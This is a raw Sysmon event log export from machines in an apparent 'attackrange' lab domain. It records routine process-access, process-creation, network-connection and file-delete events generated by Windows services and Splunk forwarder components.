14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-71AC-613B-E104-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71AC-613B-E104-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.424{625C326B-71AC-613B-E104-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000015735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:34.527{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50241-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.235{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7BF7B610D073392E26AB1C0126F4DE38,SHA256=01C6B15F22E64CDBF94D1FBAF168F6AD55B1FCB0233199B6628C98462DB91BE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:37.798{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAA8E84046164443D2B0027C299B0282,SHA256=7C53662FC44F28CBB170ED6129DCAF2B1030B2594D911B5E14BBF26D1E6B75C4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:37.609{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BBC892FF662CA3F3715B5695A6F64E4,SHA256=B4506F46721887BC20DAAEB43DC6157F262A992F3783D3F1F1B0F11A3BF833F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:37.454{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=EC982E583F835FC618085C139797123F,SHA256=EB4BC288D4A9CA2C6F57AC07105B43BD448E142AFE7AB1F90CA0F3C9CFC18180,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:34.418{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59438-false10.0.1.12-8000- 23542300x800000000000000015752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:38.798{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1E013F2935C04DE08E21B2705DA5DE39,SHA256=7018498291F59B5BC3FC9ABB1AC3F0112554816FDEB45AB373E9510B761823DE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:38.640{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18E3CF66AF21142BC34F89E2DC7B20FE,SHA256=1B22D78D021EBAA123BA642729986389F37800865FC90878F7431A09C4635A48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:39.814{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85C3420F8186D2B63F2E8B878F63DE1A,SHA256=C4445AB4C86017A2935DBEADFC1AD89BEF7260CD5B76A35358E57EB6416EFF28,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:39.828{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=522CB0741709E12B0F9E7B264A66DE5E,SHA256=8F51B347FAE7DFAAB2A294E298836CC1D05D74A30B752236716B18735409F4A7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:40.843{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=238C7722586BD1B1BA9CEE0E4E5EB52E,SHA256=AADFEA9AE99891B6773CFAC2268CB503D84F1BAE740BB5621E4D0B15608BC6A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:40.829{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BF6F0F9C2AF3B92B008DE5247C12662,SHA256=98B6B7E1373DE5BC72399C5F07B417B6883212038F63C1DAC246F7E90C8A41E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:41.892{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E17B86027CDE1A27E793F4671436F7FB,SHA256=451A1415B01AD26D916E0F29EA476C11AFC878FB17BB7CA1DD516D60580276BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:41.859{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77AE5EF9C9F80C1C217C14565B1F77A9,SHA256=1C533A167BFA03B346770F4FC135EDD2C301CDB2E8C160D05A19735F5D6E678F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:40.480{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50242-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:42.907{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1E1EC8387EFCE4A3B64BB7514E7D06D,SHA256=FAE4C0F5E96FB133F3D6B3ECE1684BEF669A7DF6AE16A146F8CF561332B02A40,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:42.859{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0640A2F1F6AB007A2603D69888EDAE30,SHA256=421D6AC07550B6BB851FA67EA701C10A5BC4A99EE9A8973A2A7A7668D0A5BA5B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:39.465{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59439-false10.0.1.12-8000- 23542300x800000000000000015758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:43.923{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AD5F124358C5A12E409640B64E926DA,SHA256=5AF78D4F3A8F027AF5CF1DC288B5DEA205737007D915119056B9C63A7D1387E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:43.875{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EFB1967D055E8DE736FEE70454A2C20,SHA256=FA3BA1963DF67B4C631976C19AC74888D08AC760098E99C58D99086CB73A6115,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:44.954{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=894A7F43F0C6407C71EF259D20D9C3F8,SHA256=184F0C34DCC2B98066D8DC8232BAFC1DF137E38469DE8A22AC4F78A090D2C313,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:45.985{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8216933B600A775CB2704AE105F63EC5,SHA256=AEB0453028EE69674611E5C739EE4C34B5AF9026F0E61A3D7154B1E021C54A41,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:45.109{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EF873C6A1CC8046CE86D71490ED0EF4,SHA256=B27400D0202805093D7A3E076772B290691E5FEEC9115F8DBE5B0C5CD7A57B10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:46.343{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB69281097A1822AD6C507D9D3D979B7,SHA256=EE3CE193318361FA831A2868E91E830345BB7BC356C2F8E2F8A70FB15F19110C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:45.403{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59440-false10.0.1.12-8000- 23542300x800000000000000048040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:47.578{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF9EBEFAD052BDC6E10A88EA9835A74B,SHA256=0B9BC9A9FD4E14198EA8979B6745D309B1648F8C5D8CB8F30EEE97C03D7DAFF7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:46.386{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50243-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:47.032{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18294DD97BAA27B60BCA7C45DA3886D9,SHA256=9F333861891457A8EEC13D7038CAA63F4962142972A717184385533C7B48F3FD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:48.687{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFE54C8DAA34B2FE5249324FC11DA7B0,SHA256=82CAFBE913E6F2C2F856E4119C923F49693EAEA9351C57176FCABE32A5432797,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:48.064{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8ACB93CBE621AE8793DB0B5BFBC66790,SHA256=D6378487C16D99ED3F93B9815E8ECBADA352F158DEEFC6FF61E50DC00BCBD2C0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:49.687{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C35016CF1D9280FCD46402CCA65FC55A,SHA256=C2CA467B2F1377435F7EB03C8E78F0474086DD9CFBE944AE1427EF65263DA21B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 